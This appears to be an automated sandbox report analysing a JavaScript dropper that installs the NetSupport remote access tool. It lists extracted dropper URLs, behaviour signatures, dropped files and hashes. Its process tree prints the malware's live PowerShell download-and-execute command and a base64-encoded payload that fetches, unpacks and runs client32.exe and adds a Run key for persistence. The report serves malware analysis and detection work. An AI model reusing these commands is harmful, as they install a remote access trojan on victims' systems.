Analysis

  • max time kernel
    115s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/03/2024, 04:19

General

  • Target
    c6a6520a8d9d4ada3c4c23ca97fe954be793f4eda9dc3b6e28d9588fa6051a98.js
  • Size 53KB
  • Sample240303-exs35acf8s
  • SHA256 c6a6520a8d9d4ada3c4c23ca97fe954be793f4eda9dc3b6e28d9588fa6051a98
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://hotelashrafee.com/rem.txt

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://leadingbyte.com/e6a85777-d353-412d-acaf-b017744de8b8c.txt

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\c6a6520a8d9d4ada3c4c23ca97fe954be793f4eda9dc3b6e28d9588fa6051a98.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3528
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://hotelashrafee.com/rem.txt')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2828
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EXeCuTiONPoL bypAss -W h -E UwBFAHQALQBsAG8AYwBhAFQAaQBvAG4AIAAkAGUATgBWADoAcABSAG8AZwBSAGEATQBEAEEAVABhADsAIAAkAHQANABzAHAAegBrAG8APQBbAGIAeQB0AGUAWwBdAF0AQAAoADgAMAAsACAANwA1ACwAIAAzACwAIAA0ACkAOwAgACQAZQAzAEYAVgBWAFAAPQAnAGgAdAB0AHAAOgAvAC8AbABlAGEAZABpAG4AZwBiAHkAdABlAC4AYwBvAG0ALwBlADYAYQA4ADUANwA3ADcALQBkADMANQAzAC0ANAAxADIAZAAtAGEAYwBhAGYALQBiADAAMQA3ADcANAA0AGQAZQA4AGIAOABjAC4AdAB4AHQAJwA7ACAAJABNAG8AQgB1AFAASgB1AD0AJwA3AHkAWQB2ADEALgB6AGkAcAAnADsAIAAkAHgARgAxAFUARAA9ACcASABvAHMAdABpAG4AZwBJAG4AZgBvAF8AMAAxADAAMwAnADsAIAAkAEEAMQBkAHkAYwBoAEcAYwA9AEkAbgB2AG8ASwBlAC0AVwBlAEIAcgBlAHEAdQBlAHMAVAAgAC0AVQBSAGkAIAAkAGUAMwBGAFYAVgBQACAALQBVAHMARQBCAGEAUwBJAEMAUABBAHIAcwBpAG4ARwA7ACAAJABZADMANwA5AFMAPQAkAEEAMQBkAHkAYwBoAEcAYwAuAEMATwBuAHQAZQBuAHQAOwAgACQAcQBtADQAWgBYAHYAZgA9ACIAewAwAH0AXAB7ADEAfQAiACAALQBmACAAJABlAE4AVgA6AHAAUgBvAGcAUgBhAE0ARABBAFQAYQAsACAAJAB4AEYAMQBVAEQAOwAgACQAOABpADcANABDAFAAVgBoAD0AagBPAEkAbgAtAHAAQQBUAGgAIAAtAHAAQQB0AEgAIAAkAGUATgBWADoAcABSAG8AZwBSAGEATQBEAEEAVABhACAALQBjAGgAaQBMAEQAcABhAFQAaAAgACQATQBvAEIAdQBQAEoAdQA7ACAAJABPAE8AYQBzADIAPQBbAEMATwBOAHYAZQByAHQAXQA6ADoAZgBSAG8ATQBCAEEAcwBFADYANABTAHQAUgBJAE4AZwAoACQAWQAzADcAOQBTACkAOwAgACQAOQBQAGYARQBsAHkAPQAkAE8ATwBhAHMAMgAgAC0AUwBwAEwAaQB0ACAAJwAgACcAIAAtAEEAUwAgAFsAQgB5AFQAZQBbAF0AXQA7ACAAJABXAE4ANABzAHoAQwA9ACQAdAA0AHMAcAB6AGsAbwArACQAOQBQAGYARQBsAHkAOwAgAFMARQBUAC0AQwBPAG4AVABFAE4AdAAgACQATQBvAEIAdQBQAEoAdQAgACQAVwBOADQAcwB6AEMAIAAtAGUAbgBDAG8ARABpAE4ARwAgAGIAWQBUAEUAOwAgAEUAWABwAEEAbgBEAC0AYQByAEMASABpAFYAZQAgAC0AUABBAFQAaAAgACQAOABpADcANABDAFAAVgBoACAALQBkAGUAcwB0AEkATgBBAFQAaQBPAG4AUABBAFQASAAgACQAcQBtADQAWgBYAHYAZgAgAC0ARgBvAFIAYwBFADsAIABSAG0AIAAkAE0AbwBCAHUAUABKAHUAOwAgAFMAZQBUAC0ATABPAGMAQQBUAGkAbwBuACAAJABxAG0ANABaAFgAdgBmADsAIAAkAEoAQgB1AEcAcABzAD0AIgB7ADAAfQBcAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlACIAIAAtAGYAIAAkAHEAbQA0AFoAWAB2AGYAOwAgAHMAdABhAHIAdAAgAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlADsAIABuAEUAdwAtAGkAdABFAG0AcAByAG8AUABFAFIAdABZACAALQBQAEEAVABIACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAnACAALQBOAEEAbQBFACAAJAB4AEYAMQBVAEQAIAAtAHYAQQBsAHUARQAgACQASgBCAHUARwBwAHMAIAAtAFAAcgBvAHAAZQBSAHQAWQB0AHkAcABlACAAJwBTAHQAcgBpAG4AZwAnADsA
        3⤵
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5084
        • C:\ProgramData\HostingInfo_0103\client32.exe
          "C:\ProgramData\HostingInfo_0103\client32.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:4204
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4936 --field-trial-handle=2276,i,1205556100727695622,5044463180471657307,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:4224

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          HTCTL32.DLL

          • Path C:\ProgramData\HostingInfo_0103\HTCTL32.DLL
          • Size 320KB
          • SHA256 edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796
          • MD5 SHA1 SHA512 SSDEEP

          MSVCR100.dll

          • Path C:\ProgramData\HostingInfo_0103\MSVCR100.dll
          • Size 755KB
          • SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
          • MD5 SHA1 SHA512 SSDEEP

          NSM.LIC

          • Path C:\ProgramData\HostingInfo_0103\NSM.LIC
          • Size 259B
          • SHA256 6a7c99e4bd767433c25d6df8df81baa99c05dd24fa064e45c306ff4d954e1921
          • MD5 SHA1 SHA512

          PCICAPI.dll

          • Path C:\ProgramData\HostingInfo_0103\PCICAPI.dll
          • Size 32KB
          • SHA256 9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917
          • MD5 SHA1 SHA512 SSDEEP

          PCICL32.DLL

          • Path C:\ProgramData\HostingInfo_0103\PCICL32.DLL
          • Size 704KB
          • SHA256 7cd60b69c0789352b1bd7a364e52da785656aaa3da756488dd078f65a349dd35
          • MD5 SHA1 SHA512 SSDEEP

          PCICL32.dll

          • Path C:\ProgramData\HostingInfo_0103\PCICL32.dll
          • Size 2.1MB
          • SHA256 61a6004d90751db7168df515e15113b7b13beca4b55adf3dbeff27da055fff4c
          • MD5 SHA1 SHA512 SSDEEP

          client32.exe

          • Path C:\ProgramData\HostingInfo_0103\client32.exe
          • Size 117KB
          • SHA256 89f0c8f170fe9ea28b1056517160e92e2d7d4e8aa81f4ed696932230413a6ce1
          • MD5 SHA1 SHA512 SSDEEP

          client32.ini

          • Path C:\ProgramData\HostingInfo_0103\client32.ini
          • Size 638B
          • SHA256 1a4a43c52c289f6f56cbfa56256cff5e9adfd3e78097a94ed4b69490b8c5469d
          • MD5 SHA1 SHA512

          msvcr100.dll

          • Path C:\ProgramData\HostingInfo_0103\msvcr100.dll
          • Size 512KB
          • SHA256 70f353e4274685d5e0953508dd5ac446c8c6ecced4e99f28b3b3bebe39ddc5d5
          • MD5 SHA1 SHA512 SSDEEP

          msvcr100.dll

          • Path C:\ProgramData\HostingInfo_0103\msvcr100.dll
          • Size 192KB
          • SHA256 9b418dbc0d156165d7f6880cf8add6f9a5fda59939ba48a77d09c81d6db8e6be
          • MD5 SHA1 SHA512 SSDEEP

          pcichek.dll

          • Path C:\ProgramData\HostingInfo_0103\pcichek.dll
          • Size 18KB
          • SHA256 313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 fcd4a469c653f6bd319b201326633c2183a70184bc159c071915a9c4abd92d3c
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_4u5mzorb.ydh.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4u5mzorb.ydh.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/2828-81-0x00007FF9F40C0000-0x00007FF9F4B81000-memory.dmp

          memory/2828-11-0x000001227F8D0000-0x000001227F8E0000-memory.dmp

          memory/2828-12-0x000001227F8D0000-0x000001227F8E0000-memory.dmp

          memory/2828-10-0x00007FF9F40C0000-0x00007FF9F4B81000-memory.dmp

          memory/2828-5-0x000001227F7E0000-0x000001227F802000-memory.dmp

          memory/5084-22-0x00007FF9F40C0000-0x00007FF9F4B81000-memory.dmp

          memory/5084-77-0x00007FF9F40C0000-0x00007FF9F4B81000-memory.dmp

          memory/5084-24-0x000002103FC80000-0x000002103FC90000-memory.dmp

          memory/5084-23-0x000002103FC80000-0x000002103FC90000-memory.dmp

          memory/5084-26-0x0000021025D90000-0x0000021025DA2000-memory.dmp

          memory/5084-27-0x0000021025D80000-0x0000021025D8A000-memory.dmp